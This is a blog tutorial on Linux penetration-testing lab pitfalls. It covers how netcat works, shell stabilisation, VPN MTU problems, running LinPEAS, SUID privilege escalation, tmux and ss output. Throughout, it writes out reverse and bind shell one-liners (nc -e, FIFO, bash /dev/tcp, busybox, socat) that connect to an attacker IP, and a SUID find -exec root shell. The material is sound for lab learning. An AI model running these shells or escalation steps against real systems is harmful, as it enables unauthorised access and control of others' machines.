> ## Content Index
> Fetch the complete content index at: https://niklas-heringer.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Linux Lab Pitfalls That Will Cost You Hours
- URL: https://niklas-heringer.com/skills-lab/linux-lab-pitfalls/
- Published: 2026-05-11T13:53:05.000Z
- Updated: 2026-05-11T13:53:05.000Z
- Description: Netcat, MTU, SUID, shell stabilisation; Linux lab concepts most resources skip. Explanations, fixes, quizzes to test your depth.
- Author: Niklas Heringer
- Tags: skills-lab, linux, privilege-escalation

Some of these I hit face-first in a lab session. Others I *thought* I understood until I had to explain them out loud and realized I actually didn't. Netcat, MTU, SUID, shell stabilisation, these aren't exotic edge cases. They come up constantly, and most resources either skip the "why" entirely or bury it in man pages nobody reads.

This is my attempt to actually understand them, documented as I go.

---

## How Netcat Really Works

Most people learn netcat as a magic command that "opens a shell." Type this, get that. It works, so nobody asks why.

Then something breaks and you have no idea where to even start.

twoHere's what's actually happening.

### Netcat is just a pipe over a network

At its core, netcat (`nc`) does one thing: it opens a TCP (or UDP) connection and connects **stdin/stdout** of your terminal to that socket. That's it. Everything else is a consequence of that.

When you run a listener:

```bash
nc -lvnp 4444

```

You're telling netcat: *listen on port 4444, and when someone connects, wire their traffic to my terminal's stdin/stdout.*

When the target connects back:

```bash
nc 192.168.45.240 4444 -e /bin/bash

```

The `-e` flag tells netcat: *after connecting, replace my stdin/stdout with this program.* So `/bin/bash` now reads from the socket and writes to the socket. Your terminal on the other end is talking directly to bash.

No magic. Just plumbing.

### Why your shell feels broken

Raw netcat shells are uncomfortable: no tab completion, Ctrl+C kills the connection, no arrow keys, commands like `sudo` and `vim` refuse to work.

The reason is that bash isn't running inside a proper **TTY** (**teletypewriter**, the thing your terminal emulator pretends to be). It's running as a dumb subprocess with its stdin/stdout redirected to a socket. No TTY means no job control, no signal handling, no interactive features.

This is why shell stabilisation exists, but that's a separate section.

### The two modes: bind shell vs reverse shell

**Reverse shell:** the target connects *to you*:

```bash
# Attacker listens
nc -lvnp 4444

# Target connects back
nc 192.168.45.240 4444 -e /bin/bash

```

You need this when the target is behind a firewall that blocks inbound connections.

**Bind shell:** you connect *to the target*:

```bash
# Target listens
nc -lvnp 4444 -e /bin/bash

# Attacker connects
nc 192.168.45.240 4444

```

Simpler conceptually, but rarely works in practice because firewalls almost always block inbound on arbitrary ports.

> In almost **all** labs, it's a reverse shell. Trust.

### When `-e` doesn't exist

Many systems ship with a stripped-down netcat (OpenBSD variant) that doesn't have `-e`. You'll notice because the flag just gets ignored or throws an error.

The workaround: pipe through a FIFO:

```bash
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.45.240 4444 > /tmp/f

```

Ugly, but the logic is the same: wire bash's stdin/stdout to the socket manually.

Or just use a bash one-liner instead:

```bash
bash -i >& /dev/tcp/192.168.45.240/4444 0>&1

```

This doesn't use netcat at all, **bash itself** opens the TCP connection. Handy when nc isn't available on the target.

If you're on a Proving Grounds target, there's a third option you'll see constantly: **BusyBox**. Many minimal Linux systems ship it as a swiss-army binary that bundles its own netcat implementation, and this one *does* support `-e`:

```bash
busybox nc 192.168.45.240 4444 -e /bin/bash

```

So if plain `nc -e` fails, try prefixing with `busybox`. It's almost always there on OffSec targets specifically because the base systems are stripped down.

Quick mental checklist when `-e` doesn't work:

1. `busybox nc`: try this first on PG targets
2. FIFO workaround: when busybox isn't available
3. `bash /dev/tcp`: when nc isn't on the system at all

> We already mentioned it, so let's get on to shell stabilisation.

## Shell Stabilisation

You caught a shell. It feels wrong immediately: Ctrl+C kills the connection,  
arrow keys print garbage, tab completion does nothing. You're in a raw,  
unstabilised shell and it's painful to work in.

Here's how to fix it, in order of what actually works in practice.

### Why it feels broken

Your shell isn't running inside a proper TTY. Netcat wired bash's stdin/stdout  
to a socket, **but bash has no terminal to talk to.** 

No job control, no signal handling, no interactive features. Stabilisation means giving it one.

### Method 1: python3 (mooostly reliable)

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Now background it:
# Ctrl+Z
stty raw -echo; fg

```

`pty.spawn` creates a proper pseudo-terminal for bash to run in. The  
`stty raw -echo; fg` part disables input processing on *your* terminal so  
keypresses pass through cleanly instead of being intercepted.

python3 is on almost every modern Linux target. Try this first.

```bash
python -c 'import pty; pty.spawn("/bin/bash")'  # fallback if python3 isn't available

```

### Method 2: script (no python needed)

```bash
script /dev/null -c bash
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

```

`script` is a standard Unix utility that records terminal sessions, but here  
you're abusing it to spawn bash inside a PTY. `/dev/null` just discards the  
recording. Works on virtually any system, no Python required.

### Method 3: rlwrap (attacker side only)

```bash
rlwrap nc -lvnp 4444

```

The lazy option: run this *before* catching the shell. rlwrap wraps your  
netcat listener with readline, giving you arrow keys and history without  
touching the target at all. Not a full TTY, but good enough for quick work.

### Method 4: socat (best TTY, rarely available)

```bash
# Attacker:
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:KALI_IP:4444

```

socat gives you the most complete TTY: Ctrl+C works, full tab completion,  
everything behaves normally. The catch: socat needs to be on the target, and  
it almost never is on a stripped-down system. If it's there, use it.  
Otherwise, don't count on it.

### Method 5: perl / ruby

```bash
perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'

```

Last resort. These don't give you a TTY at all — they just replace the current  
process with bash, which can sometimes behave better than a raw shell. Not  
worth relying on.

### What You Might Consider after Stabilising

```bash
stty rows 38 cols 116      # match your actual terminal size
export TERM=xterm-256color

```

Without the stty line, tools like vim and less will render broken because the  
shell doesn't know your terminal dimensions. Run `stty size` in your local  
terminal first to get the right values.

### Practical priority

| Method    | When to use                           |
| --------- | ------------------------------------- |
| python3   | Default — try this first              |
| script    | python not available                  |
| rlwrap    | Quick work, don't need full TTY       |
| socat     | When you get lucky and it's installed |
| perl/ruby | Nothing else works                    |

## The MTU Trap: When your Labs won't load

This one is sneaky because everything *looks* like it's working.

nmap finds open ports. The VPN is connected. But the moment you try to load  
a page in your browser or run curl, **nothing. It just hangs forever.**

The culprit is **almost always MTU.**

### What's actually happening

**MTU (Maximum Transmission Unit)** is the largest packet a network interface will send in *one* piece. 

Your VPN tunnel has overhead: it wraps your packets in its  
own headers, so the effective MTU of `tun0` is smaller than your physical  
interface's 1500 bytes. 

> If nobody accounts for that difference, large packets get fragmented. And on many network paths, fragmented packets get silently dropped.

💡

nmap probes are tiny. They squeeze through fine. HTTP responses, actual TCP payloads, anything with real content, ****those are large**. They get fragmented, dropped, and you sit there watching a loading spinner wondering if the service is even running.

It is. You just can't see it.

### Confirming the problem

```bash
# Force a large packet with the "don't fragment" flag
# If this times out or reports fragmentation needed → MTU mismatch confirmed
ping -c3 -M do -s 1400 <target-ip>

```

If you see `Frag needed` or the ping just times out while small pings work  
fine, **you've found it.**

### Fix

```bash
sudo ip link set dev tun0 mtu 1200

```

Then test immediately:

```bash
curl -v --max-time 10 http://<target-ip>/

```

If curl responds → done. If it still hangs, go lower:

```bash
sudo ip link set dev tun0 mtu 1000

```

### Making it persistent

The `ip link set` fix dies when the VPN reconnects. Add these two lines to  
your `.ovpn` file to make it permanent:

```bash
mssfix 1200
tun-mtu 1200
```

`tun-mtu` sets the interface MTU. `mssfix` clamps the TCP MSS (Maximum Segment Size) in the handshake so both sides agree on packet sizing before any data flows. Both together means the problem shouldn't come back.

tooling check 

score: 0 / 0

Now let's have a light section on something that might just annoy you, in a more or less funny way x).

## When LinPEAS Turns Your Terminal Red

Not the good kind of red.

You transfer LinPEAS, run it, and your terminal explodes with sed errors,  
twenty times over. Everything looks broken. You assume the target is cursed  
and start questioning your life choices.

It's not the target. **It's dash**.

💡

Many minimal Linux systems symlink `/bin/sh` to dash instead of bash.

LinPEAS has a bash shebang, but some environments ignore it and run it with whatever `/bin/sh` points to anyway. Dash doesn't speak bash, it chokes on bash-specific syntax and doesn't understand GNU sed's `-E` flag, which LinPEAS calls  
constantly.

The fix is one word:

```bash
bash linpeas.sh -a | tee linpeas.out

```

Explicitly invoking bash overrides whatever `/bin/sh` would have done.  
LinPEAS runs cleanly, the sed errors disappear, and your terminal goes back  
to the normal kind of overwhelming.

> You'll still see a few stray errors if the target's sed is ancient. That's  
> fine, ignore them, the results are valid. Focus on the actual findings.

## What SUID Actually Is

Most explanations of SUID to me sound like *"it runs as root."* That's true but useless without understanding why it exists and what it actually means for you.

### The problem it solves

Linux file permissions are simple: you run a program, it executes with *your*  
UID. That's the whole model.

But some operations legitimately need elevated access regardless of who  
triggers them. `passwd` needs to write to `/etc/shadow`, which is owned by  
root and unreadable by regular users. You still need to be able to change  
your own password. So how does that work?

**SUID: Set User ID**. It's a special permission bit that says: *when this file* 
*is executed, run it as the file's owner instead of the person who launched it.*

`passwd` is owned by root and has the SUID bit set. When you run it as a  
normal user, it briefly becomes root long enough to update `/etc/shadow`, then  
exits. Controlled, intentional, scoped.

That's the design. The abuse is what happens when the program wasn't written  
carefully.

### What the bit actually looks like

```bash
ls -la /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 /usr/bin/passwd

```

See that `s` where the owner execute bit (`x`) normally sits? That's SUID.  
The file runs as root regardless of who executes it.

If you see a capital `S` instead, the SUID bit is set but the execute bit  
isn't — the file can't actually be run. Interesting but not immediately useful.

### Finding SUID binaries

```bash
find / -perm -4000 -type f 2>/dev/null

```

`-perm -4000` means "has the SUID bit set." The `-` prefix means "at least  
these bits" — so it matches regardless of what other permission bits are set.

You'll get a list. Most of it is expected:

```
/usr/bin/su
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

```

These are all intentional. The OS needs them. Ignore them. **Everything else is a question worth asking.**

### Why unexpected SUID binaries are dangerous

The issue isn't SUID itself, it's SUID on programs that weren't designed to  
be run with elevated privileges, or programs that can be made to do things  
their authors didn't anticipate.

Take `find` with SUID set. Normally harmless. But find has an `-exec` flag  
that runs arbitrary commands. If find is running as root:

```bash
find . -exec /bin/bash -p \; -quit

```

You just got a root shell. The program did exactly what it was designed to do, it executed a command. Nobody told it not to execute a shell.

This is the GTFOBins pattern. Most Unix utilities are flexible by design.  
That flexibility becomes a privesc path the moment they run as root.

> In <https://niklas-heringer.com/skills-lab/introduction-to-regex/>,   
> you'll find more on the neccessary pattern-matching.

### The `-p` flag matters

When you spawn bash from a SUID binary, use `-p`:

```bash
bash -p

```

By default, bash drops elevated privileges when it detects it's been launched  
with a different effective UID than the real UID, a safety feature. `-p`  
disables that behaviour and keeps the elevated privileges. Without it, your  
"root shell" is actually still running as you.

### Workflow

```bash
# 1. Find everything with SUID set
find / -perm -4000 -type f 2>/dev/null

# 2. Filter out the expected ones
find / -perm -4000 -type f 2>/dev/null | grep -vE 'su$|sudo|passwd|mount|umount|chfn|chsh|newgrp|gpasswd|ssh-keysign|dbus-daemon'

# 3. Take whatever's left to GTFOBins
# https://gtfobins.github.io — search the binary name, filter by SUID

```

> GTFOBins has a SUID filter specifically for this. If it's listed, there's a  
> known exploitation path. Copy, adapt, run.

### One thing people miss

💡

SUID only works on binaries, ****not shell scripts**. The Linux kernel ignores the SUID bit on interpreted scripts for security reasons. If you find a `.sh` file with SUID set, ****it won't run as root**. Look for the interpreter it calls instead, or check if the script is writable (different problem, same outcome).

## tmux: Windows Are Not Panes

At some point you'll want to close "one of those split things" and accidentally  
**kill the wrong thing entirely**. Here's the distinction before it costs you.

**Windows** are the tabs at the bottom. **Panes** are the splits inside a window.  
Completely separate concepts with separate commands.

### The one that always trips people up

```bash
Ctrl+b x        # kills the current PANE (the split you're in)
Ctrl+b &        # kills the entire WINDOW (all panes in it)

```

Wrong one at the wrong time and your nmap scan is gone.

### Finding pane numbers

```bash
Ctrl+b q        # flashes pane numbers on screen — act fast, they disappear

```

Then kill by number:

```bash
Ctrl+b :kill-pane -t 2

```

### A few others worth knowing

```bash
Ctrl+b z        # zoom current pane to fullscreen — same combo to unzoom
Ctrl+b {        # swap current pane with the one above
Ctrl+b }        # swap current pane with the one below
Ctrl+b Space    # cycle through pane layouts (even/horizontal/vertical etc.)

```

`Ctrl+b z` is the one you'll actually use constantly, **fullscreen a pane to** 
**read output properly**, unzoom to get back to the split. Much faster than  
resizing manually.

### Detach without losing anything

```bash
Ctrl+b d        # detach from session — everything keeps running in background
tmux attach     # come back to it later

```

> VPN dropped, terminal closed, SSH timed out, doesn't matter. Your session  
> is still there.

Now one last learning that will help further your understanding **greatly**.

## What `ss -tulpn` Actually Tells You

You run it because a cheatsheet told you to. The output scrolls past and you  
grep for something interesting. But do you know what you're actually looking at?

```bash
ss -tulpn
# or, on older systems:
netstat -tulpn

```

The flags, decoded:

| Flag | Means                                           |
| ---- | ----------------------------------------------- |
| \-t  | TCP sockets                                     |
| \-u  | UDP sockets                                     |
| \-l  | listening only (not established connections)    |
| \-p  | show the process using the socket               |
| \-n  | numeric — don't resolve hostnames or port names |

`-n` matters more than people realise. Without it, port 80 shows as `http`,  
port 22 shows as `ssh`. Fine for reading, annoying when you're grepping.

### Reading the output

```
Netid  State   Recv-Q  Send-Q  Local Address:Port   Peer Address:Port  Process
tcp    LISTEN  0       128     127.0.0.1:3306        0.0.0.0:*          mysqld
tcp    LISTEN  0       128     0.0.0.0:22            0.0.0.0:*          sshd
tcp    LISTEN  0       128     0.0.0.0:8080          0.0.0.0:*          java

```

The **Local Address** column is what you care about.

`0.0.0.0:22`: listening on all interfaces. Reachable from outside.  
`127.0.0.1:3306`: listening on loopback only. Only reachable from the machine itself.

That second one is the interesting find. MySQL bound to localhost means you  
can't hit it directly from your attack machine, but you're already on the  
target. You can reach it. And if it's running with weak credentials or as  
root, that's your next move.

### What to look for during privesc

```bash
ss -tulpn | grep 127.0.0.1

```

**Anything on loopback that you didn't expect**. Internal admin panels, databases, development servers left running, services the box exposes to itself that  
were never meant to be touched from outside.

If you need to interact with them from your attack machine, SSH port forward:

```bash
ssh -L 8080:127.0.0.1:3306 user@target -N
# now mysql -u root -h 127.0.0.1 -P 8080 works from Kali

```

`netstat -tulpn` works identically if `ss` isn't available. On anything modern,  
`ss` is preferred: it's faster and part of `iproute2`. `netstat` is in  
`net-tools`, which is being phased out and missing on some minimal systems.

pitfall check 

score: 0 / 0